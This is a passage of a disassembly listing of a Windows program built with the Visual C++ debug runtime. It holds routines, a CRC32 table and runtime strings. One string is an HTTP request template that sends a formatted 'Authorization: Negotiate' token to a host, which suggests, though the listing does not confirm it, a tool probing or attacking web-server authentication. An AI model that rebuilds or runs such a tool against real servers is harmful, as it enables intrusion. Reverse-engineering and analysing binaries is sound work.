		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+4], 0
		jz	short loc_431DB6
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		push	eax
		call	sub_4184C0
		add	esp, 8


loc_431DB6:				; CODE XREF: sub_431D60+3Fj
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+8], 1
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_431D60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431DD0	proc near		; CODE XREF: sub_4314F0+23p
					; ___:00431E7Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], offset	off_434F98
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	[ecx+8], eax
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+8], 0
		jz	short loc_431E3F
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		push	eax
		call	sub_414BE0
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_419BB0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_431E3D
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_4184C0
		add	esp, 8


loc_431E3D:				; CODE XREF: sub_431DD0+55j
		jmp	short loc_431E4B
; ---------------------------------------------------------------------------


loc_431E3F:				; CODE XREF: sub_431DD0+25j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx


loc_431E4B:				; CODE XREF: sub_431DD0:loc_431E3Dj
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_431DD0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		cmp	eax, [ebp+8]
		jz	short loc_431E83
		mov	ecx, [ebp-4]
		call	sub_431E90
		mov	ecx, [ebp+8]
		push	ecx
		mov	ecx, [ebp-4]
		call	sub_431DD0


loc_431E83:				; CODE XREF: ___:00431E6Dj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431E90	proc near		; CODE XREF: sub_4315B0+41p
					; sub_431D30+Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], offset	off_434F98
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+8], 0
		jz	short loc_431EC0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_419B00
		add	esp, 4


loc_431EC0:				; CODE XREF: sub_431E90+19j
		mov	esp, ebp
		pop	ebp
		retn
sub_431E90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431ED0	proc near		; DATA XREF: ___:00434F9Co

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_431EE8
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx+4]
		jmp	short loc_431EED
; ---------------------------------------------------------------------------


loc_431EE8:				; CODE XREF: sub_431ED0+Ej
		mov	eax, offset aUnknownExcepti ; "Unknown exception"


loc_431EED:				; CODE XREF: sub_431ED0+16j
		mov	esp, ebp
		pop	ebp
		retn
sub_431ED0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431F00	proc near		; CODE XREF: sub_431F40+Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_434FB8
		push	1Bh
		call	sub_41B780
		add	esp, 4
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_431F32
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		push	eax
		call	sub_41BC00
		add	esp, 4


loc_431F32:				; CODE XREF: sub_431F00+21j
		push	1Bh
		call	sub_41B820
		add	esp, 4
		mov	esp, ebp
		pop	ebp
		retn
sub_431F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431F40	proc near		; DATA XREF: ___:off_434FB8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_431F00
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_431F65
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_419B00
		add	esp, 4


loc_431F65:				; CODE XREF: sub_431F40+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_431F40	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 9
		push	eax
		mov	ecx, [ebp+8]
		add	ecx, 9
		push	ecx
		call	sub_417870
		add	esp, 8
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 9
		push	eax
		mov	ecx, [ebp+8]
		add	ecx, 9
		push	ecx
		call	sub_417870
		add	esp, 8
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 9
		push	eax
		mov	ecx, [ebp+8]
		add	ecx, 9
		push	ecx
		call	sub_417870
		add	esp, 8
		xor	edx, edx
		test	eax, eax
		setnle	dl
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 8
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	dword ptr [eax], offset	off_434FB8
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432050	proc near		; CODE XREF: sub_431490+48p
					; sub_431580+1Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		push	edi
		mov	ecx, 8
		mov	esi, offset dword_434FC0
		lea	edi, [ebp+var_20]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+var_20]
		push	edx
		nop
		call	near ptr 28C077Ah
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	8
sub_432050	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4320A0	proc near		; DATA XREF: ___:0043518Co
		lea	ecx, [ebp-38h]
		jmp	sub_40BDAE
sub_4320A0	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_4320BE
		mov	ecx, [ebp+8]
		jmp	sub_40BDAE
; ---------------------------------------------------------------------------

locret_4320BE:				; CODE XREF: ___:004320B0j
		retn
; ---------------------------------------------------------------------------


loc_4320BF:				; DATA XREF: sub_40B943o
		mov	eax, offset dword_435160
		jmp	sub_4193A0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+14h]
		jmp	sub_40BDAE
; ---------------------------------------------------------------------------


loc_4320D1:				; DATA XREF: ___:004351BCo
		lea	ecx, [ebp-1Ch]
		jmp	sub_40BDAE
; ---------------------------------------------------------------------------


loc_4320D9:				; DATA XREF: sub_40BABAo
		mov	eax, offset dword_435190
		jmp	sub_4193A0
; ---------------------------------------------------------------------------
		align 4


loc_4320E4:				; DATA XREF: sub_40C1EBo
		mov	eax, offset dword_4351C0
		jmp	sub_4193A0
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-38h]
		call	sub_40BDAE
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_431490	proc near		; DATA XREF: sub_431490+5o
		mov	eax, offset dword_435298
		jmp	sub_4193A0
SEH_431490	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		call	sub_431E90
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_4314F0	proc near		; DATA XREF: sub_4314F0+5o
		mov	eax, offset dword_4352C0
		jmp	sub_4193A0
SEH_4314F0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		call	sub_431E90
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_4315B0	proc near		; DATA XREF: sub_4315B0+5o
		mov	eax, offset dword_435308
		jmp	sub_4193A0
SEH_4315B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-14h]
		call	sub_431E90
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_431670	proc near		; DATA XREF: sub_431670+5o
		mov	eax, offset dword_435330
		jmp	sub_4193A0
SEH_431670	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-38h]
		call	sub_40BDAE
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_431790	proc near		; DATA XREF: sub_431790+5o
		mov	eax, offset dword_435398
		jmp	sub_4193A0
SEH_431790	endp

; ---------------------------------------------------------------------------
		align 4
dword_432184	dd 3A0h	dup(0)
		dd 4725123Ch, 0
		dd 2, 28h, 0
		dd 47E00h
dword_43301C	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40BABA+68o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dbl_433458	dq 1.388888888888889e-2	; DATA XREF: sub_40B8F7+2Fr
dbl_433460	dq 1.666666666666667e-1	; DATA XREF: sub_40B8F7+15r
dbl_433468	dq 1.333333333333333	; DATA XREF: sub_40B943+70r
dword_433470	dd 0FFFFFFFFh		; DATA XREF: sub_40BD61+13r
					; sub_40BDDEr ...
dword_433474	dd 0			; DATA XREF: sub_40C0C5o
dbl_433478	dq 9.765625e-4		; DATA XREF: ___:0041131Ar
					; ___:00411335r ...
dbl_433480	dq -3.0517578125e-5	; DATA XREF: sub_4123FE+2Br
flt_433488	dd 9.765625e-4		; DATA XREF: sub_413BB4+1AEr
flt_43348C	dd 8.0			; DATA XREF: sub_413BB4+1A8r
flt_433490	dd 0.0			; DATA XREF: sub_413BB4+16Fr
flt_433494	dd 1.0e-3		; DATA XREF: sub_413BB4+166r
dword_433498	dd 6F6C6366h, 632E6573h, 0 ; DATA XREF:	sub_414C60+1Do
					; sub_414CF0+25o
dword_4334A4	dd 65727473h, 21206D61h, 554E203Dh, 4C4Ch ; DATA XREF: sub_414C60+14o
					; ___:00419F7Do ...
dword_4334B4	dd 20727473h, 4E203D21h, 4C4C55h, 65696C43h, 746Eh, 6F6E6749h
					; DATA XREF: sub_414CF0+1Co
					; sub_418240+15o ...
		dd 6572h, 545243h, 6D726F4Eh, 6C61h
aFree		db 'Free',0             ; DATA XREF: ___:off_4438A0o
		align 4
aErrorMemoryAll	db 'Error: memory allocation: bad memory block type.',0Ah,0
					; DATA XREF: sub_414EA0:loc_41500Ao
					; sub_4152A0:loc_415420o
		align 4
aInvalidAllocat	db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: sub_414EA0+11Bo
aS_25		db '%s',0               ; DATA XREF: sub_414EA0+BCo
					; sub_414EA0+16Fo ...
		align 10h
aClientHookAl_0	db 'Client hook allocation failure.',0Ah,0
					; DATA XREF: sub_414EA0:loc_414F57o
		align 4
aClientHookAllo	db 'Client hook allocation failure at file %hs line %d.',0Ah,0
					; DATA XREF: sub_414EA0+94o
		align 4
aDbgheap_c	db 'dbgheap.c',0        ; DATA XREF: sub_414EA0+31o
					; sub_4152A0+77o ...
		align 4
a_crtcheckmemor	db '_CrtCheckMemory()',0 ; DATA XREF: sub_414EA0+25o
					; sub_4152A0+6Bo ...
		align 4
a_pfirstblockPo	db '_pFirstBlock == pOldBlock',0 ; DATA XREF: sub_4152A0+499o
		align 4
a_plastblockPol	db '_pLastBlock == pOldBlock',0 ; DATA XREF: sub_4152A0+445o
		align 4
aFreallocFreall	db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0
					; DATA XREF: sub_4152A0:loc_415686o
		align 4
a_block_typePol	db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0
					; DATA XREF: sub_4152A0+277o
		align 4
aPoldblockNline	db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_'
					; DATA XREF: sub_4152A0:loc_4154B1o
		db 'REQ',0
		align 4
a_crtisvalidhea	db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: sub_4152A0+1B6o
					; sub_415890+A8o ...
		align 10h
aAllocationTooL	db 'Allocation too large or negative: %u bytes.',0Ah,0
					; DATA XREF: sub_4152A0+136o
		align 10h
aClientHookRe_0	db 'Client hook re-allocation failure.',0Ah,0
					; DATA XREF: sub_4152A0:loc_41539Fo
aClientHookReAl	db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0
					; DATA XREF: sub_4152A0+DCo
a_pfirstblockPh	db '_pFirstBlock == pHead',0 ; DATA XREF: sub_415890+35Do
		align 4
a_plastblockPhe	db '_pLastBlock == pHead',0 ; DATA XREF: sub_415890+307o
		align 4
aPheadNblockuse	db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_415890+29Co
					; sub_415CA0+112o
		align 4
aPheadNlineIgno	db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0
					; DATA XREF: sub_415890:loc_415AB4o
		align 4
aDamageAfterHsB	db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0
					; DATA XREF: sub_415890+1E5o
					; sub_415F70+249o
		align 4
aDamageBeforeHs	db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0
					; DATA XREF: sub_415890+17Fo
					; sub_415F70+1ECo
		align 4
a_block_type_is	db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_415890+10Ao
					; sub_415CA0+C1o ...
		align 4
aClientHookFree	db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_415890:loc_4158FDo
		align 4
aMemoryCheckErr	db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0
					; DATA XREF: sub_415EE0+54o
		align 4
aHsLocatedAt0x0	db '%hs located at 0x%08X is %u bytes long.',0Ah,0
					; DATA XREF: sub_415F70+31Eo
		align 10h
aHsAllocatedAtF	db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_415F70+2EBo
aDamageOnTopOfF	db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0
					; DATA XREF: sub_415F70+2A2o
		align 4
aDamaged	db 'DAMAGED',0          ; DATA XREF: sub_415F70:loc_416128o
a_heapchkFail_3	db '_heapchk fails with unknown return value!',0Ah,0
					; DATA XREF: sub_415F70:loc_416082o
		align 10h
a_heapchkFail_2	db '_heapchk fails with _HEAPBADPTR.',0Ah,0
					; DATA XREF: sub_415F70:loc_41605Ao
		align 4
a_heapchkFail_1	db '_heapchk fails with _HEAPBADEND.',0Ah,0
					; DATA XREF: sub_415F70:loc_416032o
		align 4
a_heapchkFail_0	db '_heapchk fails with _HEAPBADNODE.',0Ah,0
					; DATA XREF: sub_415F70:loc_41600Ao
		align 4
a_heapchkFailsW	db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0
					; DATA XREF: sub_415F70:loc_415FDFo
aBadMemoryBlock	db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_416570+11Bo
		align 4
a_crtmemcheckpo	db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0
					; DATA XREF: sub_416570:loc_41657Fo
a_crtmemdiffere	db '_CrtMemDifference: NULL state pointer.',0Ah,0
					; DATA XREF: ___:loc_416702o
aObjectDumpComp	db 'Object dump complete.',0Ah,0 ; DATA XREF: sub_416810:loc_416A9Co
		align 4
aCrtBlockAt0x08	db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
					; DATA XREF: sub_416810+250o
		align 10h
aNormalBlockAt0	db 'normal block at 0x%08X, %u bytes long.',0Ah,0
					; DATA XREF: sub_416810+1F3o
aClientBlockAt0	db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
					; DATA XREF: sub_416810+188o
aLd		db '{%ld} ',0           ; DATA XREF: sub_416810+139o
		align 4
aHsD		db '%hs(%d) : ',0       ; DATA XREF: sub_416810+111o
		align 10h
aFileErrorD	db '#File Error#(%d) : ',0 ; DATA XREF: sub_416810+E0o
aDumpingObjects	db 'Dumping objects ->',0Ah,0 ; DATA XREF: sub_416810:loc_41682Ao
aDataSS		db ' Data: <%s> %s',0Ah,0 ; DATA XREF: sub_416AD0+ECo
a_2x		db '%.2X ',0            ; DATA XREF: sub_416AD0+BFo
		align 10h
aDetectedMemory	db 'Detected memory leaks!',0Ah,0 ; DATA XREF: sub_416BF0:loc_416C24o
aTotalAllocatio	db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: ___:00416D0Do
		align 4
aLargestNumberU	db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: ___:00416CE5o
		align 4
aLdBytesInLdHsB	db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: ___:00416CBBo
		align 4
aMode_t0	db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_416F50+95o
		align 10h
aModeNull	db 'mode != NULL',0     ; DATA XREF: sub_416F50+67o
					; sub_41E220+4Fo
		align 10h
aFile_t0	db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_416F50+3Do
		align 4
aFopen_c	db 'fopen.c',0          ; DATA XREF: sub_416F50+18o
					; sub_416F50+46o ...
aFileNull	db 'file != NULL',0     ; DATA XREF: sub_416F50+Fo
		align 4
aFormatNull	db 'format != NULL',0   ; DATA XREF: sub_4170D0+3Fo
					; sub_4171D0+45o ...
		align 4
aVsprintf_c	db 'vsprintf.c',0       ; DATA XREF: sub_4170D0+1Eo
					; sub_4170D0+48o
		align 4
aStringNull	db 'string != NULL',0   ; DATA XREF: sub_4170D0+15o
					; sub_4171D0+1Bo ...
		align 4
aSprintf_c	db 'sprintf.c',0        ; DATA XREF: sub_4171D0+24o
					; sub_4171D0+4Eo ...
		align 4
aFprintf_c	db 'fprintf.c',0        ; DATA XREF: sub_418240+1Eo
					; sub_418240+48o
		align 10h
aFgets_c	db 'fgets.c',0          ; DATA XREF: sub_418340:loc_418364o
					; sub_418340+4Eo
aSscanf_c	db 'sscanf.c',0         ; DATA XREF: sub_418AF0+24o
					; sub_418AF0+4Eo
		align 4
a_file_c	db '_file.c',0          ; DATA XREF: sub_418D40+31o
					; sub_418D40+65o
		align 10h
dbl_433CA0	dq 1.0			; DATA XREF: sub_418F70+99r
					; sub_419190+99r ...
dword_433CA8	dd 64676264h, 632E6C65h, 7070h ; DATA XREF: sub_419B00+62o
dword_433CB4	dd 78656E6Fh, 632E7469h, 0 ; DATA XREF:	sub_419BD0+2Eo
					; sub_419CB0+8o
dword_433CC0	dd 7473626Dh, 7363776Fh, 632Eh ; DATA XREF: sub_419D80+32o
dword_433CCC	dd 3D212073h, 4C554E20h, 4Ch ; DATA XREF: sub_419D80+29o
dword_433CD8	dd 65657366h, 632E6Bh, 0FFFFFFFFh, 41A962h, 41A97Dh, 65737341h
					; DATA XREF: ___:00419F86o
					; sub_419FE0+19o
		dd 6F697472h, 6146206Eh, 64656C69h, 0
aError		db 'Error',0            ; DATA XREF: ___:00443BA8o
		align 4
aWarning	db 'Warning',0          ; DATA XREF: ___:off_443BA4o
aSDS		db '%s(%d) : %s',0      ; DATA XREF: sub_41AB10+1FFo
asc_433D1C:				; DATA XREF: sub_41AB10:loc_41ACE6o
		dw 0Ah
		unicode	0, <>,0
asc_433D20:				; DATA XREF: sub_41AB10+1C2o
		dw 0Dh
		unicode	0, <>,0
aAssertionFai_0	db 'Assertion failed!',0 ; DATA XREF: sub_41AB10:loc_41AC85o
		align 4
aAssertionFaile	db 'Assertion failed: ',0 ; DATA XREF: sub_41AB10+169o
		align 4
a_crtdbgreportS	db '_CrtDbgReport: String too long or IO Error',0
					; DATA XREF: sub_41AB10+149o
					; sub_41AB10+21Co ...
		align 4
aSecondChanceAs	db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0
					; DATA XREF: sub_41AB10+E6o
		align 4
aWsprintfa	db 'wsprintfA',0        ; DATA XREF: sub_41AB10+B6o
		align 4
aUser32_dll_0	db 'user32.dll',0       ; DATA XREF: sub_41AB10+9Co
					; sub_427610+16o
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: sub_41AEA0+2C2o
		align 4
aDebugSProgramS	db 'Debug %s!',0Ah      ; DATA XREF: sub_41AEA0+28Co
		db 0Ah
		db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah
		db 0Ah
		db '(Press Retry to debug the application)',0
		align 4
aModule		db 0Ah			; DATA XREF: sub_41AEA0+221o
		db 'Module: ',0
		align 4
aFile		db 0Ah			; DATA XREF: sub_41AEA0+1E1o
		db 'File: ',0
aLine		db 0Ah			; DATA XREF: sub_41AEA0+1AAo
		db 'Line: ',0
asc_433E58	db 0Ah			; DATA XREF: sub_41AEA0+173o
					; sub_426B80+171o
		db 0Ah,0
		align 4
aExpression	db 'Expression: ',0     ; DATA XREF: sub_41AEA0+153o
		align 4
dword_433E6C	dd 0			; DATA XREF: sub_41AEA0:loc_41AFBAo
					; sub_41AEA0:loc_41AFD9o ...
aForInformation	db 0Ah			; DATA XREF: sub_41AEA0+10Eo
		db 0Ah
		db 'For information on how your program can cause an assertion',0Ah
		db 'failure, see the Visual C++ documentation on asserts.',0
		align 4
a___		db '...',0              ; DATA XREF: sub_41AEA0+9Co
					; sub_41AEA0+F4o ...
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41AEA0+56o
					; sub_426B80+EDo
		align 10h
aDbgrpt_c	db 'dbgrpt.c',0         ; DATA XREF: sub_41AEA0+1Fo
		align 4
aSzusermessageN	db 'szUserMessage != NULL',0 ; DATA XREF: sub_41AEA0+13o
		align 4
a_freebuf_c	db '_freebuf.c',0       ; DATA XREF: sub_41B2E0+15o
